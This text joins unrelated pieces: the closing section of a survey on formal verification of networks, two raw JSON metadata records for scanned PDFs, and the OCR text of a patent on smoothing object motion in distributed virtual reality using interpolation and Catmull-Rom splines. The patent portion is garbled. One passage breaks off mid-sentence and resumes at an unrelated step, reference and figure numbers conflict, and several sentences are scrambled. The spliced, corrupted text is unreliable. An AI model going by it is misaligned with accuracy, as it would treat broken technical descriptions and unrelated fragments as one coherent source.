meta-theory, and axiomatic formulation as an example of axiomatic semantics framework. They each represents an extreme in the design of specification language with regard to the expressiveness power and automated reasoning support. **Expressiveness power** As a specialized meta-model dedicated to BGP routing and convergence property, metarouting formalism is restricted to a particular type of routing policy that is expressed along the traversed path. Metarouting specification language features a set of pre-defined base algebras and composition operations. The human user is left with little specification choice: the user simply focuses on high-level policy decomposition and figures out a mapping from the desired conceptual policy composition to an algebraic composition expressible in metarouting algebras. In contrast, the axiomatic formulation is flexible by providing a minimal set of primitive operations. When combined with normal sequential control statement, the the operations with semantics given in Hoare-logic serve as a general-purpose programming language. System behaviors and architectural invariants of the Internet can be formally specified. **Automated reasoning support** Correctness properties (convergence) is automatically enabled in metarouting at the expense of limited specification expressiveness power. Metarouting completely removes the verification efforts required to establish correctness. That is, metarouting is an example of “correctness by construction” specification language. In the other extreme, axiomatic formulation framework comes with no proof strategy. The only verification support is the rigorous defined primitive operation semantics in Hoare-style logic that serves as a network-specific proof system according to which deductive reasoning can be performed. 8.1.2 Comparison of system validation and formal verification Practical network system validation systems today are based on either static constraints checking or model checking. Compared with the traditional general-purpose full-formal verification approach, system validation systems suffer the following problems: (1) the checkable properties are limited to specific constraints or temporal properties; (2) as best-effort verification system built-upon “common belief” in practice, the verification results are often neither sound nor complete. Both false positive (correctness property violations that will not cause problem in real system) and false negative (error miss) are present. On the other hand, system validation requires significantly less human investment. For example, validation systems of both types \cite{22, 16, 6} are performed over unmodified real-world implementation. In particular, even takes care of vendor-specific configuration language. At the same time, the difficult full-formal deductive reasoning process is also removed and replaced by fully-automatic logical evaluation or algorithmic proof search. 8.2 Challenges Despite the long-history of formal methods application in both hardware and software verification, serious formal network analysis is just beginning to emerge. The revival of formal analysis application in the pragmatic networking domain is encouraged by the growing network complexity that has becoming less manageable with the present performance-centered bottom-up engineering approach. However, the various problems the systems discussed in this survey suffer also reflect the difficulty in the application of formal methods in real-world distributed systems. Regarding the scale and heterogeneity of today’s Internet, the emerging formal network analysis is facing enormous challenges. We discuss only a few network-specific challenges here. Performance analysis and network dynamics Most formal analysis techniques are restricted to logical correctness. This is largely due to the difficulty in formalizing any performance related issues. However, performance related properties play a key role in network correctness. For example, performance properties are often part of the network service specification. One of the obstacles in formalizing network performance is the lack of formal model for network dynamics and distributed time (state): (1) classical logic-based reasoning does not have a built-in notion for time or state; (2) state-aware techniques such as model checking suffers state-explosion problem, and easily blows up with respect to the inherent huge searching space in networking. Distributed/Local analysis of global network-wide properties Many interesting correctness properties are global and network-wide. However, it is likely that formal analysis can only be applied locally at a restricted sub-network even if the properties of interests concerns external network nodes. This is because the global Internet today is partitioned into a set of administrative domains where each network operator is only granted access to his/her own domain. A second difficulty has its root in the distributed nature of almost all interesting network application. Distributed algorithm analysis is much harder compared with a centralized one, let alone the formal distributed system verification. Unified framework for heterogeneous verification system The global Internet is built upon heterogeneous sub-networks, and is multiplexed for many different types of services. As a result, each end node implements a stack of protocols to handle some particular aspects of Internet service. Similarly, most formal analysis systems are specialized for a particular type of correctness properties, and are good for specific application domains. Internet utilizes layering as the abstraction and modularization mechanism to build an integrated service out of a set of protocols. However, the construction of correctness proof of a network service from the correctness proofs of the constituent component protocols is still an open problem. A related issue is the formal argument reuse problem that hinders the scalability of formal analysis. 9 Acknowledgments I would like to thank Prof. Rajeev Alur for chairing my WPE-II committee, as well as Prof. Jonathan M. Smith and Jennifer Rexford for sitting on the committee. References
{"Source-Url": "https://repository.upenn.edu/cgi/viewcontent.cgi?article=1970&context=cis_reports", "len_cl100k_base": 16151, "olmocr-version": "0.1.50", "pdf-total-pages": 32, "total-fallback-pages": 0, "total-input-tokens": 78172, "total-output-tokens": 19448, "length": "2e13", "weborganizer": {"__label__adult": 0.0003812313079833984, "__label__art_design": 0.0004017353057861328, "__label__crime_law": 0.00034999847412109375, "__label__education_jobs": 0.0017185211181640625, "__label__entertainment": 0.0001819133758544922, "__label__fashion_beauty": 0.00019538402557373047, "__label__finance_business": 0.0004436969757080078, "__label__food_dining": 0.0003998279571533203, "__label__games": 0.000980377197265625, "__label__hardware": 0.0020809173583984375, "__label__health": 0.0006394386291503906, "__label__history": 0.0005831718444824219, "__label__home_hobbies": 0.00011426210403442384, "__label__industrial": 0.0005612373352050781, "__label__literature": 0.0006494522094726562, "__label__politics": 0.00035858154296875, "__label__religion": 0.0005540847778320312, "__label__science_tech": 0.290771484375, "__label__social_life": 0.00013256072998046875, "__label__software": 0.0207061767578125, "__label__software_dev": 0.67626953125, "__label__sports_fitness": 0.000331878662109375, "__label__transportation": 0.0009608268737792968, "__label__travel": 0.00027370452880859375}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 85894, 0.0301]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 85894, 0.32965]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 85894, 0.89072]], "google_gemma-3-12b-it_contains_pii": [[0, 517, false], [517, 1873, null], [1873, 2972, null], [2972, 4362, null], [4362, 7635, null], [7635, 10478, null], [10478, 14236, null], [14236, 14992, null], [14992, 18607, null], [18607, 22137, null], [22137, 25051, null], [25051, 28495, null], [28495, 31867, null], [31867, 34458, null], [34458, 37863, null], [37863, 40602, null], [40602, 43070, null], [43070, 45957, null], [45957, 48832, null], [48832, 52436, null], [52436, 55326, null], [55326, 58425, null], [58425, 61549, null], [61549, 64109, null], [64109, 66776, null], [66776, 69426, null], [69426, 72778, null], [72778, 76043, null], [76043, 79409, null], [79409, 81992, null], [81992, 84776, null], [84776, 85894, null]], "google_gemma-3-12b-it_is_public_document": [[0, 517, true], [517, 1873, null], [1873, 2972, null], [2972, 4362, null], [4362, 7635, null], [7635, 10478, null], [10478, 14236, null], [14236, 14992, null], [14992, 18607, null], [18607, 22137, null], [22137, 25051, null], [25051, 28495, null], [28495, 31867, null], [31867, 34458, null], [34458, 37863, null], [37863, 40602, null], [40602, 43070, null], [43070, 45957, null], [45957, 48832, null], [48832, 52436, null], [52436, 55326, null], [55326, 58425, null], [58425, 61549, null], [61549, 64109, null], [64109, 66776, null], [66776, 69426, null], [69426, 72778, null], [72778, 76043, null], [76043, 79409, null], [79409, 81992, null], [81992, 84776, null], [84776, 85894, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 85894, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 85894, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 85894, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 85894, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 85894, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 85894, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 85894, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 85894, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 85894, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 85894, null]], "pdf_page_numbers": [[0, 517, 1], [517, 1873, 2], [1873, 2972, 3], [2972, 4362, 4], [4362, 7635, 5], [7635, 10478, 6], [10478, 14236, 7], [14236, 14992, 8], [14992, 18607, 9], [18607, 22137, 10], [22137, 25051, 11], [25051, 28495, 12], [28495, 31867, 13], [31867, 34458, 14], [34458, 37863, 15], [37863, 40602, 16], [40602, 43070, 17], [43070, 45957, 18], [45957, 48832, 19], [48832, 52436, 20], [52436, 55326, 21], [55326, 58425, 22], [58425, 61549, 23], [61549, 64109, 24], [64109, 66776, 25], [66776, 69426, 26], [69426, 72778, 27], [72778, 76043, 28], [76043, 79409, 29], [79409, 81992, 30], [81992, 84776, 31], [84776, 85894, 32]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 85894, 0.0235]]}
olmocr_science_pdfs
2024-12-02
2024-12-02
a5c987a99d16190e2799cd624f84c13ca03bc744
[REMOVED]
{"Source-Url": "https://hal.archives-ouvertes.fr/hal-01062031/file/main.pdf", "len_cl100k_base": 10413, "olmocr-version": "0.1.50", "pdf-total-pages": 17, "total-fallback-pages": 0, "total-input-tokens": 49627, "total-output-tokens": 13409, "length": "2e13", "weborganizer": {"__label__adult": 0.0003368854522705078, "__label__art_design": 0.0004208087921142578, "__label__crime_law": 0.0003871917724609375, "__label__education_jobs": 0.0012693405151367188, "__label__entertainment": 0.00012242794036865234, "__label__fashion_beauty": 0.00019049644470214844, "__label__finance_business": 0.0003783702850341797, "__label__food_dining": 0.0003998279571533203, "__label__games": 0.0008487701416015625, "__label__hardware": 0.0021343231201171875, "__label__health": 0.0007424354553222656, "__label__history": 0.0005955696105957031, "__label__home_hobbies": 0.0001575946807861328, "__label__industrial": 0.0006566047668457031, "__label__literature": 0.00042939186096191406, "__label__politics": 0.0004050731658935547, "__label__religion": 0.00066375732421875, "__label__science_tech": 0.307373046875, "__label__social_life": 0.00011688470840454102, "__label__software": 0.014495849609375, "__label__software_dev": 0.66650390625, "__label__sports_fitness": 0.0003628730773925781, "__label__transportation": 0.0008134841918945312, "__label__travel": 0.0002715587615966797}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 50114, 0.03331]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 50114, 0.43559]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 50114, 0.91213]], "google_gemma-3-12b-it_contains_pii": [[0, 1047, false], [1047, 3622, null], [3622, 6920, null], [6920, 10414, null], [10414, 13592, null], [13592, 16361, null], [16361, 19399, null], [19399, 22091, null], [22091, 24310, null], [24310, 27459, null], [27459, 30637, null], [30637, 33731, null], [33731, 36615, null], [36615, 40142, null], [40142, 43531, null], [43531, 46650, null], [46650, 50114, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1047, true], [1047, 3622, null], [3622, 6920, null], [6920, 10414, null], [10414, 13592, null], [13592, 16361, null], [16361, 19399, null], [19399, 22091, null], [22091, 24310, null], [24310, 27459, null], [27459, 30637, null], [30637, 33731, null], [33731, 36615, null], [36615, 40142, null], [40142, 43531, null], [43531, 46650, null], [46650, 50114, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 50114, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 50114, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 50114, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 50114, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 50114, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 50114, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 50114, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 50114, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 50114, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 50114, null]], "pdf_page_numbers": [[0, 1047, 1], [1047, 3622, 2], [3622, 6920, 3], [6920, 10414, 4], [10414, 13592, 5], [13592, 16361, 6], [16361, 19399, 7], [19399, 22091, 8], [22091, 24310, 9], [24310, 27459, 10], [27459, 30637, 11], [30637, 33731, 12], [33731, 36615, 13], [36615, 40142, 14], [40142, 43531, 15], [43531, 46650, 16], [46650, 50114, 17]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 50114, 0.0]]}
olmocr_science_pdfs
2024-11-28
2024-11-28
87729e660580ef12d7ba21a5d69c5b4e327e10f2
A system assures smooth motion in a distributed virtual reality environment by categorizing the information to be transmitted as to the predictability of future motion and applying appropriate smoothing algorithms based upon knowledge of what the future motion is likely to be. The system switches between a linear interpolation algorithm for less predictable data and a Catmull-Rom spline for more predictable data. 15 Claims, 10 Drawing Sheets Fig. 3 CHECK PACKET I COUNT = 0 IS CURRENT SYSTEM TIME LESS THAN TIME2 ? YES IS THERE AT LEAST ONE POINT ON THE OBJECT'S MOVE QUEUE ? YES MOVE PAR0 = PAR1 PAR1 = PAR2 PAR2 = PAR3 PAR3 = PAR4 PAR4 = PAR5 MOVE HEAD OF MOVE QUEUE AS NEW PAR5, DELETING PREVIOUS HEAD OF QUEUE AND MOVING UP ALL FOLLOWING QUEUE ELEMENTS I COUNT = I COUNT + 1 NO RETURN SEND SMALL PACKET (CONTAINING ONLY NEW PAR5) RETURN SEND FULL UPDATE PACKET (CONTAINS PAR0, PAR1, PAR2, PAR3, PAR4 AND PAR5) RETURN Fig. 4 Fig. 5 Fig. 7 LINEAR INTERPOLATE (TIME, PAR₀, PAR₁) P = \frac{\text{TIME} - \text{TIME}_0}{\text{TIME}_1 - \text{TIME}_0} X = X_0 + P \cdot (X_1 - X_0) Y = Y_0 + P \cdot (Y_1 - Y_0) Z = Z_0 + P \cdot (Z_1 - Z_0) A = A_0 + P \cdot (A_1 - A_0) B = B_0 + P \cdot (B_1 - B_0) C = C_0 + P \cdot (C_1 - C_0) R = R_0 + P \cdot (R_1 - R_0) RETURN \{ X, Y, Z, A, B, C, R \} Fig. 8 CATMUL ROM INTERPOLATE \( \text{TIME, PAR}_0, \text{PAR}_1, \text{PAR}_2, \text{PAR}_4 \) \[ P = \frac{\text{TIME} - \text{TIME}_1}{\text{TIME}_2 - \text{TIME}_1} \] \( X = \text{CRSPLINE} \) \( \langle P, X_0, X_1, X_2, X_3 \rangle \) \( Y = \text{CRSPLINE} \) \( \langle P, Y_0, Y_1, Y_2, Y_3 \rangle \) \( Z = \text{CRSPLINE} \) \( \langle P, Z_0, Z_1, Z_2, Z_3 \rangle \) \( A = \text{CRSPLINE} \) \( \langle P, A_0, A_1, A_2, A_3 \rangle \) \( B = \text{CRSPLINE} \) \( \langle P, B_0, B_1, B_2, B_3 \rangle \) \( C = \text{CRSPLINE} \) \( \langle P, C_0, C_1, C_2, C_3 \rangle \) \( R = \text{CRSPLINE} \) \( \langle P, R_0, R_1, R_2, R_3 \rangle \) RETURN \( \{ X, Y, Z, A, B, C, R \} \) Fig. 9 Fig. 10 \[ \text{OUT} = \frac{2\cdot M + (P \cdot (N - L + (P \cdot (2\cdot L - 5\cdot M + 4\cdot N - O + (P \cdot (3\cdot M - L - 3\cdot N + O)))))))}{2} \] 1 METHOD FOR SMOOTH MOTION IN A DISTRIBUTED VIRTUAL REALITY ENVIRONMENT FIELD OF INVENTION This invention relates to distributed virtual environments and more particularly to achieving smooth motion in a shared distributed virtual reality system. BACKGROUND OF THE INVENTION In multi-user virtual reality environments, when graphical objects are moved along a path, indicating motion of the object, it is oftentimes difficult to make this motion smooth in the face of lost packets of data, delayed packets, or when network bandwidth is insufficient to transmit real-time frame-to-frame data reflecting the motion required. For instance, when a virtual reality application seeks to portray a moving car, the motion of the car will be smooth assuming that the position data necessary to simulate the motion is uninterrupted. If the data stream is interrupted or delayed for any of a variety of reasons, the onscreen motion will be jittery or halting while the system waits for data to continue the animation. In the case of single-user systems, because there is no communications overhead or chance of lost network messages, smoothness of object motion is limited only by how fast the hardware can render the geometric description of the scene into the video memory of the display device. However for networked data transfer, image jitter often occurs when the network is interrupted or overloaded. Moreover, data may be lost when the network is overloaded resulting in discarded packets. The result is that on-screen motion is jerky due to lost data. In a multi-user system with a central server, a problem arises in that the central server is a bounded resource and will become overloaded at some relatively small number of participants. For example, Silicon Graphics Inc.'s Shared Virtual Reality system work well for four or fewer participants, but becomes slow at five and prohibitively degraded at over six simultaneous users. The shared virtual reality systems known as "Worlds Chat" and "Electronic Campus" also use this central-server architecture. The central server computes accurate positions for every object in the world and transmits positioning coordinates to each viewing station. This makes the viewing station computational load lighter since the motion computation is computed centrally, only once, however because there is a single central server, overload is guaranteed to occur and the system cannot be scaled to large simulated environments. Other systems without central servers have been created; most of them are based on the US. Department of Defense's SIMNET architecture. The US Department of Defense's distributed interactive simulation system, or DIS, is based on SIMNET and achieves scalability but at the loss of smooth and pleasant object motion. Virtual vehicles moving around in the DIS virtual world are updated at regular intervals, every five seconds in the typical DIS case, by broadcasting of messages from each simulation host node. The DIS update packet, called a Program Data Unit or PDU, contains a position, a time and a linear velocity vector for each vehicle in a simulation. This PDU is transmitted to the rendering stations. This simple linear calculation is insufficient over more than a few seconds, so the simulation station owning each particular vehicle uses a much more detailed and computationally-intensive simulation of the vehicle dynamics to give a much more accurate position and velocity. Because only the linear-velocity PDU is transmitted and transmission occurs only every five seconds, the position and velocity of a rendered DIS object vehicle may rapidly diverge from the accurate position and velocity computed by on the controlling node's high-accuracy simulation. In order to prevent this dead-reckoning error from accumulating, DIS simulations rebroadcast new PDUs with updated position and velocity every five seconds for each vehicle in the simulation. Upon receipt of the new PDU, the rendered positions of DIS vehicles will jump to the new locations, which may be many meters away from the dead-reckoned position. For example, a tank near the crest of a hill may be climbing at a 30-degree angle, at five meters/second velocity. If a PDU is sent just before the tank crosses the top of the hill, then by the time the next PDU is sent, the rendered tank displayed on other user workstations will be approximately 40 feet in the air and still gaining altitude. In addition, all of the above systems operate over networks such that packet loss can be prevented, either by an automatic retransmit mechanism, or by having adequate network bandwidth to prevent packet loss or delay. Unfortunately, the Internet is not usually such a friendly environment. Bandwidth is limited, and packets are often delayed, duplicated, or simply lost. Therefore both robustness of transmission and minimization of bandwidth are important. Another important issue is the data provider type. Some systems, such as video games, assume that the typical moving object will move on a fixed path with this path being known a priori. Knowledge of the path therefore implies complete knowledge of the position of the object for all future time. Other objects are controlled by so-called intelligent agents. These agents determine their future action based upon the environment. Once a choice is made, the future motions are known for a few seconds into the future. Lastly, there are so-called real-time agents. These agents depend on real-time inputs from systems that are inherently unpredictable. A prime example is input from a human user. In such cases, it is not possible to do more than guess a likely future position. Any successful smooth motion system must be able to cope with this varying amount of "lead time". Another important issue is the infinite velocity formulation. In many applications, it is necessary to move a created object around at infinite velocity. This typically happens when an object is first created. Normally it appears initially at the origin and then must be moved to it's desired position. Any system that uses velocity as a required state variable may experience overflow and fail. Because the frame-rendering rate of the receiving station may not match the data transmission rate of the sending station, a visually plausible system must be able to render the position of objects "in between" transmitted locations. If this is not done, visual heterodyning may occur (this is the same effect that causes wagon wheels to appear to rotate backwards in old movies). Finally, the per-object computation must be very easy to perform, because each rendering station will have to perform the computation for each of hundreds or perhaps thousands of objects, for each display frame, in real time. This implies that numerical integration or other iterative functions are not appropriate for smooth object motion. SUMMARY OF THE INVENTION The above problems of providing smooth motion in a distributed virtual reality environment are solved by auto- naturally categorizing the information to be transmitted as to the predictability of future motion and applying appropriate smoothing algorithms based upon knowledge of what the characteristics of the future motion are likely to be. In one embodiment, the system switches between a linear extrapolation algorithm for hypothesized future locations, linear interpolation for short-term predictable locations, and a Catmull-Rom spline for long-term predictable locations. For instance, a virtual reality environment may have a trolley-car moving within the environment on a fixed course (the trolley track). The path between stops for the trolley is completely determined; the only variable is the starting time. Once the trolley starts to move, it's future position can be exactly predicted as a function of time for the duration of the next track segment. Because motion is known for a long time into the future, the path can be a long, smooth motion. One might even consider the predetermined path to be a "script" for the trolley-car's motions. A less predictable example is a video game "robot fighter", such as is found in common video games. The fighter has a small repertory of fixed motion action stubs, each one perhaps a second or two long. These action stubs might be such actions as "throw punch", "duck head", "kick", "jump high" or "flip over". The overall long-term action of the fighter is not predictable, but once an action such as "throw punch" is begun, the motion is predictable for the duration of the action. Again, it is desired that the motions be as smooth as possible, even though there is no long-term "script" to the fighter's motions. A non-predictable motion source is a human user supplying command motion inputs, via a joystick or mouse which controls the movement of an on-screen 'electronic puppet', or avatar. In this case, there is no "predictability" to the motion, but it is still desirable that the motion of the on-screen avatar be visually smooth and pleasant. The invention achieves smooth motion in all three cases by providing a callabale interface that can accept as little or as much future position information as available. Based on how much future position information is available, the invention automatically switches between a high-quality spline interpolation, a fast linear interpolation, or linear extrapolation to generate smooth output positions at any desired time and at any desired display frame rate. Because the invention can dynamically switch among the motion generation and smoothing algorithms, it can operate in circumstances where a single object is alternatively controlled by a long, predetermined "script", a series of short action stubs, and real-time user input. An example of such a system might be a simulation of a Space Shuttle satellite repair mission, where the initial segments such as the liftoff from the launch pad are entirely under control of the autopilot which is simulated by a long-term script. Then the orbital docking preparation motions are controlled by action stubs such as "open cargo bay doors" and "extend grasping arm", and the final grasping and repair of the satellite is controlled directly by real-time inputs from the user. The autopilot flight plan is long-term predictable, the orbital docking preparations are only short-term predictable, and the grasping and repair operations are real-time and unpredictable. By dynamically switching between motion generation and smoothing algorithms, the invention can provide smooth and plausible behavior throughout the simulation. More specifically, the invention is composed of several parts which work together to provide smooth plausible motion. In the subject system smoothing algorithms are chosen dynamically to control the behavior of the software program controlling a particular on-screen object. To accomplish this, each desired location along the motion path is encoded as a position in XYZ space, with a unit vector specifying an axis for the object to be rotated, and an angle specifying how far to rotate the object. This information is formatted into packets sent on a standard network such as the Internet. Each packet contains redundant information so that if there is packet loss or corruption, the receiving station can still generate plausible motion. In rendering, a set of compatible interpolation functions are used so that the object motion remains plausible even as the data supplier shifts between long-term pre-designated motion, short-term pre-designated motion, and real-time motion control. Further smoothing is achieved for dropped packets by providing redundant data in individual packets. Even if one packet is lost, adjacent packets contain enough information that smooth, plausible motion is still achieved. Other smoothing is achieved by using extrapolation in position, axis of rotation, and angle of rotation to achieve smooth and plausible motion even in the event of large amounts of missing data. Still further smoothing is achieved by using angle and axis unwrapping to prevent the anomalous behavior sometimes seen where an object rotates almost a complete circle in the incorrect direction because of a nonlinear rotation boundary. For example, if the input system always yields an angle between 0 and 360 degrees, and an object was already rotated to 359 degrees, then a command of "move to rotation +1 degree" can be interpreted two different ways. One way is to rotate back 358 degrees (the "long way"). The other and more reasonable interpretation is to rotate just two degrees further. The effect of angle and axis unwrapping is to prevent such anomalous behavior. There are three smoothing algorithms used in the current implementation of the invention. The switching is done based upon how many future location points are supplied by the application to the invention. If two or more points in the future are supplied, then the object is considered to be in long-term predictable motion. If only one future point is supplied, then the object is considered to be only short-term predictable. If no future points are supplied, then the object is considered to be under real-time control. For long-term motion, the Catmull-Rom spline function is used for motion smoothing. This well-known spline function requires as input four known object locations; two of these locations must be in the past relative to the desired display time, and two must be in the future. The Catmull-Rom spline function can then be evaluated for any display time between the most recent 'past' time and the soonest 'future' time, and yields a smooth and pleasant motion. For short-term motion where at most a single point in the future is known, linear interpolation is used. This is equivalent to having the object move smoothly along a line joining the most recent 'past' point to the most recent 'future' point. For real-time motion where no future points are known, linear extrapolation is used. This extrapolation makes the assumption that the object will move past the most recent known point along a straight line. This is equivalent to Newton's laws of motion— that an object in motion will remain in motion unless acted upon by an external force. All three of these motion smoothing methods are performed both for the X, Y, Z positioning information as well as the axis and angle of rotation. By providing these methods in position, in axis of rotation, and in angle of rotation, smooth and plausible motion is achieved. BRIEF DESCRIPTION OF THE DRAWINGS These and other features of the Subject Invention will be better understood taken in conjunction with the Detailed Description, taken in conjunction with the Drawings, of which: FIG. 1 is a block diagram showing the jitter associated with time-delays, packet duplication, and lost packets during the graphical rendering of an animated object; FIG. 2 is a block diagram showing a more detailed view of a multiuser virtual reality system, with alternate transmitting programs; FIG. 3 is a flowchart and data structure diagram showing typical software and data structures in a transmitting station; FIG. 4 is a flowchart of a particular subroutine used in the transmitting station of FIG. 1; FIG. 5 is a data structure diagram showing examples of two different data packets being transmitted across the network; FIG. 6 is a flowchart showing sample software in the receiving station used whenever any packet is received; FIG. 7 is a flowchart showing sample software in the receiving station used whenever it is desired to a smoothly moved instantaneous position of a smoothly moved object; FIG. 8 is a flowchart showing a particular subroutine used in the receiving station whenever an object’s desired future path is known with fewer than two future locations already determined; FIG. 9 is a flowchart showing a particular subroutine used in the receiving station whenever an object’s desired future path is known and two or more points along that future path are already determined; and, FIG. 10 is a flowchart showing a particular subroutine used by the subroutine of FIG. 9. DETAILED DESCRIPTION OF THE INVENTION Referring now to FIG. 1, a network 10 to which are coupled two computers 12 and 14, each with an associated monitor 16 and 18 respectively, at which graphical objects are presented. In one embodiment, graphical objects 20 are stored in the memory of computer 12, for example, an automobile 22 being the graphical object presented. When it is desired to transmit this moving graphical object across network 10 to computer 14, graphical object 22' exhibits positional instability, sometimes called jitter, due to various network-induced artifacts. These artifacts are characterized as having been generated by time delays as illustrated at 24, resulting in delayed packets, packet duplication as illustrated at 26 in which packets are inadventently duplicated, and lost packets generally illustrated as having been dropped into a so-called bit bucket 28. The problem with the lost, duplicated or delayed packets is that the corresponding graphical object will have a hesitant motion, or one in which the motion is retraced. The annoyance associated with such jitter has in the past resulted in a number of techniques for averaging so as to be able to smooth out this jitter. More specifically, initially some graphical objects 22 are created and placed into the memory of the computer 12 which functions as the transmitting workstation. These graphical objects may portray an animation, or some other set of actions that take place over the course of time. These graphical objects and their motions are converted to packets to be transmitted over the network. The network is like the Internet with most packets being delivered correctly and on time. However some small fraction of the packets are delayed, hence arriving out of order. Some other small fraction of the packets are duplicated and so two copies of such packets are delivered, with a short time delay between them. Finally, a small fraction of the packets are simply lost and never arrive at their destination. The network routes these packets to various destinations, such as the receiving station. At a receiving station, here illustrated as computer 14, the packets are converted back into graphical objects and motions for the graphical objects, and displayed. Referring now to FIG. 2, in order to solve the above-mentioned jitter problem, a number of user programs 30, 32, and 34 illustrate various predictability or longevity’s. User program 30 uses long prerecorded paths as would be common in a cartoon-like animation. Typically the cartoon-like animation may have pre-recorded actions lasting several minutes. User program 32 is characterized by a so-called intelligent planning agent with a library of motion subroutines or subroutines. User program 32 does not have as long a predictability as user program 30 due to the variability that the intelligent planning agent may impose on the output. Typically the intelligent planning agent will employ subroutines on the order of a quarter-second to one full second long. An example of this program is a computer game in which various characters kick, punch, or move in accordance with a specialized subroutine or "motion stub" under the control of the intelligent planning agent and/or the person playing the game. User program 34, on the other hand, utilizes real-time inputs from an individual, which are in general not predictable. An example of this is someone navigating a virtual reality environment. As can be seen, a single averaging technique would fail to accommodate all three types of user programs. In the subject system, each of these user programs are converted to a common representation of graphical objects and motions as illustrated at 36, with graphical objects and motions being transmitted via a transmitting station having a computer 38, over a network 40, to a receiving station having a computer 42, which loads the graphical objects and motions into a database 44. A switch 46 switches the output of database 44 either to a linear interpolator system 48 or a Catmull-Rom spline interpolator system 50 depending on the available amount of information in the database 44. This permits an appropriate smoothing algorithm to be applied to the graphical data from the database to minimize jitter. The output of either interpolation is provided to a graphics driver 52 in turn coupled to a display 54 such that the motion of graphical object 56 is smooth. As will be discussed hereinafter in FIG. 6, further jitter due to duplicate packet generation is removed through the detection of the duplicate packets, with the second of the duplicate packets being discarded. Referring now to FIG. 3, a user supplied program 70 contains embedded subroutine calls 72 to the SmoothMove subroutine entry point 74. The user supplied program 70 also contains a call to the timer interrupt scheduler 76, which regularly calls the CheckPacket entry point 78. The SmoothMove entry point 74 is called with 9 arguments—one argument specifying a time, seven arguments explained hereinafter representing position, and one argument specifying a graphical object. The action of SmoothMove is to cause the graphical object to move to the location and orientation specified at exactly the time speci- In step 82, the next available motion on the object motion queue 86 is examined and overwritten in the PAR 524 buffer. The object motion queue pointer 85 is changed to point to the next motion block on the object motion queue, or set to zero if there are no more motions on the queue. The used motion block is then deallocated, and execution proceeds to step 154. In step 154, the counter ICOUNT is incremented. Execution proceeds directly to step 146. In step 156, the counter ICOUNT is examined and set to zero, the CheckPacket subroutine immediately returns. Otherwise, execution proceeds to step 158. In step 158, the counter ICOUNT is again examined and equal to one, execution transfers to step 160. Otherwise, execution transfers to step 162. In step 160, a small packet, described hereinafter in FIG. 5, is transmitted via the network 40 on FIG. 2 to the receiving computer. This small packet contains only the information identifying graphical object 90 uniquely, and the contents of PAR 124, both of FIG. 3. After this, subroutine CheckPacket immediately returns. In step 162, a large packet, described hereinafter in FIG. 5, is transmitted via the network 40 on FIG. 2 to the receiving computer. This large packet contains information that identifies graphical object 90 uniquely, plus the complete PAR buffer 112 on FIG. 3 of the graphical object. After this, subroutine CheckPacket immediately returns. Referring now to FIG. 6, a small packet 170 is shown in detail, containing an identifier uniquely specifying a graphical object 172, a time 174, an X location 176, a Y location 178, a Z location 180, an A rotation axis component 182, a B axis rotation component 184, a C rotation axis component 186, and an axis rotation angle 188. This small packet would be used to transmit the contents of a graphical object’s PAR 124 on FIG. 3. Also shown in detail is a large packet 190, also known as a full update packet, containing an identifier uniquely specifying a graphical object 192, and six PAR data structures, corresponding to PAR 194, PAR 196, PAR 198, PAR 200, PAR 202, and PAR 204. This large packet would be used to transmit the contents of the complete PAR buffer 126 on FIG. 3. Referring now to FIG. 6, the incoming packet interrupt routine is shown. The system packet interrupt routine running on computer 42 in FIG. 2 is given the address of routine DealWithIncomingPacket 210, to be called whenever either a short or long packet is received. When a packet is received, execution proceeds to step 212. In step 212, the packet length is examined. If the packet is a long packet, of length equal to a full update packet, then execution transfers to step 214. Otherwise, execution continues with step 216. In step 214, the graphical object identifier 192 is examined and the corresponding graphical object is located in the receiving computer database 44 on FIG. 2. This database contains graphical objects represented in the same way as in the transmitting computer 38. More specifically, the receiving computer contains a corresponding graphical object 90 of FIG. 3 containing a pointer to a location PAR buffer 112. The contents of the incoming packets corresponding to PAR 194 are copied into the receiving computer's corresponding graphical object's PAR 114, the incoming packet's PAR 196 is copied into the receiving computer's corresponding PAR 116, the incoming packet's PAR 198 is copied into the receiving computer's corresponding PAR 218, the incoming 